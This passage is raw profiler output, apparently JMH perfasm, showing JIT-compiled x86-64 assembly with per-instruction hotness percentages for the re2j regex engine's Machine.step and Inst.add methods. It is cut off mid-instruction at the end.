0x00007fc83d21fab2: cmp $0x40,%edx 0x00007fc83d21fab5: jg 0x00007fc83d2204e9 ;*if_icmpgt ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ; - com.google.re2j.Inst$Alt2Inst::add@5 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.30% 0.26% 0x00007fc83d21fabb: mov $0x1,%ebx 0.00% 0x00007fc83d21fac0: mov %edx,%ecx 0.01% 0.00% 0x00007fc83d21fac2: shl %cl,%rbx ;*lshl ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ; - com.google.re2j.Inst$Alt2Inst::add@5 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.50% 0.46% 0x00007fc83d21fac5: mov %r9,%rcx 0.00% 0x00007fc83d21fac8: and %rbx,%rcx 0x00007fc83d21facb: test %rcx,%rcx 0x00007fc83d21face: jne 0x00007fc83d21fe87 ;*ifeq ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ; - com.google.re2j.Inst$Alt2Inst::add@5 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.13% 0.08% 0x00007fc83d21fad4: cmp $0x40,%edx 0x00007fc83d21fad7: jge 0x00007fc83d220565 ;*if_icmpge ; - com.google.re2j.Machine$Queue::add@3 (line 51) ; - com.google.re2j.Inst$Alt2Inst::add@19 (line 178) ; - com.google.re2j.Machine::step@-1 (line 280) 0.16% 0.14% 0x00007fc83d21fadd: mov %r12b,0x18(%r11) ;*putfield empty ; - com.google.re2j.Machine$Queue::add@33 (line 56) ; - com.google.re2j.Inst$Alt2Inst::add@19 (line 178) ; - com.google.re2j.Machine::step@-1 (line 280) 0.01% 0.00% 0x00007fc83d21fae1: mov 0x2c(%r8),%ebp ;*getfield outInst ; - com.google.re2j.Inst$Alt2Inst::add@23 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.00% 0.00% 0x00007fc83d21fae5: or %r9,%rbx ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) ; - com.google.re2j.Inst$Alt2Inst::add@19 (line 178) ; - com.google.re2j.Machine::step@-1 (line 280) 0.11% 0.06% 0x00007fc83d21fae8: mov %rbx,0x10(%r11) ;*putfield pcsl ; - com.google.re2j.Machine$Queue::add@15 (line 52) ; - com.google.re2j.Inst$Alt2Inst::add@19 (line 178) ; - com.google.re2j.Machine::step@-1 (line 280) 0.22% 0.13% 0x00007fc83d21faec: mov 0x8(%r12,%rbp,8),%esi ; implicit exception: dispatches to 0x00007fc83d2213c1 0.38% 0.18% 0x00007fc83d21faf1: cmp $0xf8019909,%esi ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} 0x00007fc83d21faf7: jne 0x00007fc83d220175 0.33% 0.18% 0x00007fc83d21fafd: lea (%r12,%rbp,8),%r9 ;*invokevirtual add ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.01% 0x00007fc83d21fb01: mov 0x18(%r9),%ecx ;*getfield pc ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.14% 0.09% 0x00007fc83d21fb05: cmp $0x40,%ecx 0x00007fc83d21fb08: jg 0x00007fc83d2205e1 ;*if_icmpgt ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.19% 0.22% 0x00007fc83d21fb0e: mov $0x1,%edi 0.05% 0.05% 0x00007fc83d21fb13: shl %cl,%rdi ;*lshl ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.49% 0.42% 0x00007fc83d21fb16: mov %rbx,%rdx 0.01% 0.03% 0x00007fc83d21fb19: and %rdi,%rdx ;*land ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21fb1c: test %rdx,%rdx 0x00007fc83d21fb1f: jne 0x00007fc83d220017 ;*ifeq ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.16% 0.19% 0x00007fc83d21fb25: xor %ebp,%ebp ;*ireturn ; - com.google.re2j.Machine$Queue::contains@24 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.10% 0.07% 0x00007fc83d21fb27: test %rdx,%rdx 0x00007fc83d21fb2a: jne 0x00007fc83d220661 ;*ifeq ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.22% 0.15% 0x00007fc83d21fb30: cmp $0x40,%ecx 0x00007fc83d21fb33: jge 0x00007fc83d2206e1 ;*if_icmpge ; - com.google.re2j.Machine$Queue::add@3 (line 51) ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.00% 0x00007fc83d21fb39: or %rdi,%rbx ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.02% 0.01% 0x00007fc83d21fb3c: mov %rbx,0x10(%r11) ;*putfield pcsl ; - com.google.re2j.Machine$Queue::add@15 (line 52) ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.07% 0.08% 0x00007fc83d21fb40: mov 0x20(%r11),%edi ;*getfield denseThreadsInstructions ; - com.google.re2j.Machine$Queue::addThread@1 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.19% 0.16% 0x00007fc83d21fb44: mov 0xc(%r11),%ecx ;*getfield size ; - com.google.re2j.Machine$Queue::addThread@6 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21fb48: mov %ecx,%edx 0.01% 0.02% 0x00007fc83d21fb4a: inc %edx ;*iadd ; - com.google.re2j.Machine$Queue::addThread@11 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.11% 0.05% 0x00007fc83d21fb4c: mov %edx,0xc(%r11) ;*putfield size ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.19% 0.13% 0x00007fc83d21fb50: mov 0xc(%r12,%rdi,8),%esi ; implicit exception: dispatches to 0x00007fc83d2213d5 0.01% 0.01% 0x00007fc83d21fb55: cmp %esi,%ecx 0x00007fc83d21fb57: jae 0x00007fc83d2200f5 0.09% 0.06% 0x00007fc83d21fb5d: vmovd %edx,%xmm2 0.08% 0.06% 0x00007fc83d21fb61: mov %ecx,0xc(%rsp) 0.24% 0.10% 0x00007fc83d21fb65: vmovd %edi,%xmm0 0x00007fc83d21fb69: mov %r10d,0xa4(%rsp) 0.03% 0.07% 0x00007fc83d21fb71: mov %r13,0x30(%rsp) 0.06% 0.04% 0x00007fc83d21fb76: mov %eax,0xac(%rsp) 0.18% 0.13% 0x00007fc83d21fb7d: mov %r11,%r13 0x00007fc83d21fb80: mov %r14,0x28(%rsp) 0.02% 0.06% 0x00007fc83d21fb85: mov 0x8(%r12,%rdi,8),%r11d 0.06% 0.07% 0x00007fc83d21fb8a: cmp $0xf8019807,%r11d ; {metadata(&apos;com/google/re2j/Inst&apos;[])} 0x00007fc83d21fb91: jne 0x00007fc83d2201f1 ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.18% 0.16% 0x00007fc83d21fb97: mov 0x34(%r8),%r10d ;*getfield inst2 ; - com.google.re2j.Inst$Alt2Inst::add@43 (line 181) ; - com.google.re2j.Machine::step@-1 (line 280) 0.00% 0x00007fc83d21fb9b: mov %r10d,%ecx 0.05% 0.07% 0x00007fc83d21fb9e: mov %r9,%r10 0.10% 0.05% 0x00007fc83d21fba1: shr $0x3,%r10 ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.22% 0.18% 0x00007fc83d21fba5: lea (%r12,%rdi,8),%r9 ;*getfield denseThreadsInstructions ; - com.google.re2j.Machine$Queue::addThread@1 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21fba9: mov 0xc(%rsp),%r11d 0.03% 0.03% 0x00007fc83d21fbae: lea 0x10(%r9,%r11,4),%r11 0.09% 0.11% 0x00007fc83d21fbb3: mov %r10d,(%r11) 0.16% 0.16% 0x00007fc83d21fbb6: mov %r11,%r10 0x00007fc83d21fbb9: shr $0x9,%r10 0.07% 0.03% 0x00007fc83d21fbbd: movabs $0x7fc84e197000,%r11 0.07% 0.08% 0x00007fc83d21fbc7: mov %r12b,(%r11,%r10,1) ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Machine::step@-1 (line 280) 0.24% 0.10% 0x00007fc83d21fbcb: mov %ecx,%r10d 0.00% 0x00007fc83d21fbce: mov 0x8(%r12,%r10,8),%r8d ;*invokevirtual add ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Machine::step@-1 (line 280) ; implicit exception: dispatches to 0x00007fc83d2213f1 0.03% 0.03% 0x00007fc83d21fbd3: movslq 0xc(%rsp),%r10 0.08% 0.03% 0x00007fc83d21fbd8: lea (%r9,%r10,4),%rdi ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.21% 0.14% 0x00007fc83d21fbdc: mov %rdi,%rdx 0x00007fc83d21fbdf: add $0x14,%rdx ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Machine::step@-1 (line 280) 0.08% 0.02% 0x00007fc83d21fbe3: mov %ecx,%r10d 0.11% 0.09% 0x00007fc83d21fbe6: lea (%r12,%r10,8),%rax 0.14% 0.19% 0x00007fc83d21fbea: mov 0xc(%rsp),%r10d 0x00007fc83d21fbef: add $0x2,%r10d ;*iadd ; - com.google.re2j.Machine$Queue::addThread@11 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Machine::step@-1 (line 280) 0.08% 0.03% 0x00007fc83d21fbf3: cmp $0xf8019885,%r8d ; {metadata(&apos;com/google/re2j/Inst$CaptureInst&apos;)} 0x00007fc83d21fbfa: jne 0x00007fc83d21f953 ;*invokevirtual add ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Machine::step@-1 (line 280) 0.06% 0.09% 0x00007fc83d21fc00: mov 0x18(%rax),%r11d ;*getfield pc ; - com.google.re2j.Inst$CaptureInst::add@2 (line 461) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.16% 0.09% 0x00007fc83d21fc04: mov %r11d,%r14d 0x00007fc83d21fc07: cmp $0x40,%r11d 0x00007fc83d21fc0b: jg 0x00007fc83d2209a9 ;*if_icmpgt ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ; - com.google.re2j.Inst$CaptureInst::add@5 (line 461) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.03% 0.03% 0x00007fc83d21fc11: mov $0x1,%r8d 0.05% 0.02% 0x00007fc83d21fc17: mov %r11d,%ecx 0.19% 0.05% 0x00007fc83d21fc1a: shl %cl,%r8 ;*lshl ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ; - com.google.re2j.Inst$CaptureInst::add@5 (line 461) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.14% 0.02% 0x00007fc83d21fc1d: mov %rbx,%r11 0.21% 0.10% 0x00007fc83d21fc20: and %r8,%r11 ;*land ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ; - com.google.re2j.Inst$CaptureInst::add@5 (line 461) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21fc23: test %r11,%r11 0x00007fc83d21fc26: jne 0x00007fc83d220021 ;*ifeq ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ; - com.google.re2j.Inst$CaptureInst::add@5 (line 461) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.03% 0.04% 0x00007fc83d21fc2c: xor %ebp,%ebp ;*ireturn ; - com.google.re2j.Machine$Queue::contains@24 (line 42) ; - com.google.re2j.Inst$CaptureInst::add@5 (line 461) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.07% 0.05% 0x00007fc83d21fc2e: test %r11,%r11 0x00007fc83d21fc31: jne 0x00007fc83d220a29 ;*ifeq ; - com.google.re2j.Inst$CaptureInst::add@8 (line 461) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.17% 0.12% 0x00007fc83d21fc37: mov %ecx,%r11d 0x00007fc83d21fc3a: cmp $0x40,%r11d 0x00007fc83d21fc3e: jge 0x00007fc83d220a79 ;*if_icmpge ; - com.google.re2j.Machine$Queue::add@3 (line 51) ; - com.google.re2j.Inst$CaptureInst::add@19 (line 464) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.03% 0.04% 0x00007fc83d21fc44: or %r8,%rbx ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) ; - com.google.re2j.Inst$CaptureInst::add@19 (line 464) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.06% 0.06% 0x00007fc83d21fc47: mov %rbx,0x10(%r13) ;*putfield pcsl ; - com.google.re2j.Machine$Queue::add@15 (line 52) ; - com.google.re2j.Inst$CaptureInst::add@19 (line 464) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.15% 0.07% 0x00007fc83d21fc4b: mov 0x2c(%rax),%ebp ;*getfield outInst ; - com.google.re2j.Inst$CaptureInst::add@82 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.00% 0x00007fc83d21fc4e: mov 0x8(%r12,%rbp,8),%r8d ; implicit exception: dispatches to 0x00007fc83d221405 0.05% 0.02% 0x00007fc83d21fc53: cmp $0xf8019843,%r8d ; {metadata(&apos;com/google/re2j/Inst$Alt2Inst&apos;)} 0x00007fc83d21fc5a: jne 0x00007fc83d220435 0.05% 0.00% 0x00007fc83d21fc60: lea (%r12,%rbp,8),%rax ;*invokevirtual add ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.19% 0.16% 0x00007fc83d21fc64: mov 0x18(%rax),%r11d ;*getfield pc ; - com.google.re2j.Inst$Alt2Inst::add@2 (line 175) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21fc68: mov %r11d,%ecx 0.05% 0.07% 0x00007fc83d21fc6b: cmp $0x40,%r11d 0x00007fc83d21fc6f: jg 0x00007fc83d220c61 ;*if_icmpgt ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ; - com.google.re2j.Inst$Alt2Inst::add@5 (line 175) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.08% 0.07% 0x00007fc83d21fc75: mov $0x1,%r8d 0.15% 0.19% 0x00007fc83d21fc7b: shl %cl,%r8 ;*lshl ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ; - com.google.re2j.Inst$Alt2Inst::add@5 (line 175) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.13% 0.19% 0x00007fc83d21fc7e: mov %rbx,%r11 0.21% 0.26% 0x00007fc83d21fc81: and %r8,%r11 0x00007fc83d21fc84: test %r11,%r11 0x00007fc83d21fc87: jne 0x00007fc83d220035 ;*ifeq ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ; - com.google.re2j.Inst$Alt2Inst::add@5 (line 175) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.04% 0.04% 0x00007fc83d21fc8d: mov %ecx,%r11d 0.07% 0.09% 0x00007fc83d21fc90: cmp $0x40,%r11d 0x00007fc83d21fc94: jge 0x00007fc83d220ce1 ;*if_icmpge ; - com.google.re2j.Machine$Queue::add@3 (line 51) ; - com.google.re2j.Inst$Alt2Inst::add@19 (line 178) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.17% 0.16% 0x00007fc83d21fc9a: mov 0x2c(%rax),%ebp ;*getfield outInst ; - com.google.re2j.Inst$Alt2Inst::add@23 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.00% 0x00007fc83d21fc9d: or %r8,%rbx ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) ; - com.google.re2j.Inst$Alt2Inst::add@19 (line 178) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.03% 0.02% 0x00007fc83d21fca0: mov %rbx,0x10(%r13) ;*putfield pcsl ; - com.google.re2j.Machine$Queue::add@15 (line 52) ; - com.google.re2j.Inst$Alt2Inst::add@19 (line 178) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.09% 0.13% 0x00007fc83d21fca4: mov 0x8(%r12,%rbp,8),%r8d ; implicit exception: dispatches to 0x00007fc83d221419 0.19% 0.29% 0x00007fc83d21fca9: cmp $0xf8019909,%r8d ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} 0x00007fc83d21fcb0: jne 0x00007fc83d220481 0x00007fc83d21fcb6: lea (%r12,%rbp,8),%r14 ;*invokevirtual add ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.07% 0.03% 0x00007fc83d21fcba: mov 0x18(%r14),%r11d ;*getfield pc ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.06% 0.06% 0x00007fc83d21fcbe: vmovd %r11d,%xmm1 0.21% 0.16% 0x00007fc83d21fcc3: cmp $0x40,%r11d 0x00007fc83d21fcc7: jg 0x00007fc83d220d61 ;*if_icmpgt ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21fccd: mov $0x1,%r8d 0.03% 0.05% 0x00007fc83d21fcd3: mov %r11d,%ecx 0.08% 0.08% 0x00007fc83d21fcd6: shl %cl,%r8 ;*lshl ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.23% 0.32% 0x00007fc83d21fcd9: mov %rbx,%r11 0.07% 0.11% 0x00007fc83d21fcdc: and %r8,%r11 ;*land ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.20% 0.25% 0x00007fc83d21fcdf: test %r11,%r11 0x00007fc83d21fce2: jne 0x00007fc83d22003d ;*ifeq ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.01% 0x00007fc83d21fce8: xor %ebp,%ebp ;*ireturn ; - com.google.re2j.Machine$Queue::contains@24 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.01% 0.02% 0x00007fc83d21fcea: test %r11,%r11 0x00007fc83d21fced: jne 0x00007fc83d220de9 ;*ifeq ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.06% 0.05% 0x00007fc83d21fcf3: mov %ecx,%r11d 0.14% 0.18% 0x00007fc83d21fcf6: cmp $0x40,%r11d 0x00007fc83d21fcfa: jge 0x00007fc83d220e45 ;*if_icmpge ; - com.google.re2j.Machine$Queue::add@3 (line 51) ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21fd00: mov %r10d,0xc(%r13) ;*putfield size ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.07% 0.06% 0x00007fc83d21fd04: or %r8,%rbx ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.06% 0.06% 0x00007fc83d21fd07: mov %rbx,0x10(%r13) ;*putfield pcsl ; - com.google.re2j.Machine$Queue::add@15 (line 52) ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.17% 0.21% 0x00007fc83d21fd0b: cmp %esi,%r10d 0x00007fc83d21fd0e: jae 0x00007fc83d220339 ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21fd14: mov 0x34(%rax),%r10d ;*getfield inst2 ; - com.google.re2j.Inst$Alt2Inst::add@43 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.05% 0.02% 0x00007fc83d21fd18: mov %rdx,%r8 0.08% 0.07% 0x00007fc83d21fd1b: mov %r14,%r11 0.25% 0.18% 0x00007fc83d21fd1e: shr $0x3,%r11 0.00% 0x00007fc83d21fd22: mov %r11d,(%rdx) 0.03% 0.05% 0x00007fc83d21fd25: shr $0x9,%r8 0.06% 0.09% 0x00007fc83d21fd29: movabs $0x7fc84e197000,%r11 0.18% 0.22% 0x00007fc83d21fd33: mov %r12b,(%r11,%r8,1) ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@37 (line 180) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.00% 0.00% 0x00007fc83d21fd37: mov 0x8(%r12,%r10,8),%r11d ; implicit exception: dispatches to 0x00007fc83d22142d 0.05% 0.08% 0x00007fc83d21fd3c: lea (%r12,%r10,8),%r8 0.04% 0.06% 0x00007fc83d21fd40: cmp $0xf8019885,%r11d ; {metadata(&apos;com/google/re2j/Inst$CaptureInst&apos;)} 0x00007fc83d21fd47: je 0x00007fc83d21fdd7 0.16% 0.23% 0x00007fc83d21fd4d: cmp $0xf8019909,%r11d ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} 0x00007fc83d21fd54: jne 0x00007fc83d2208e5 ;*invokevirtual add ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.04% 0.02% 0x00007fc83d21fd5a: mov 0x18(%r8),%ecx ;*getfield pc ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.03% 0.07% 0x00007fc83d21fd5e: cmp 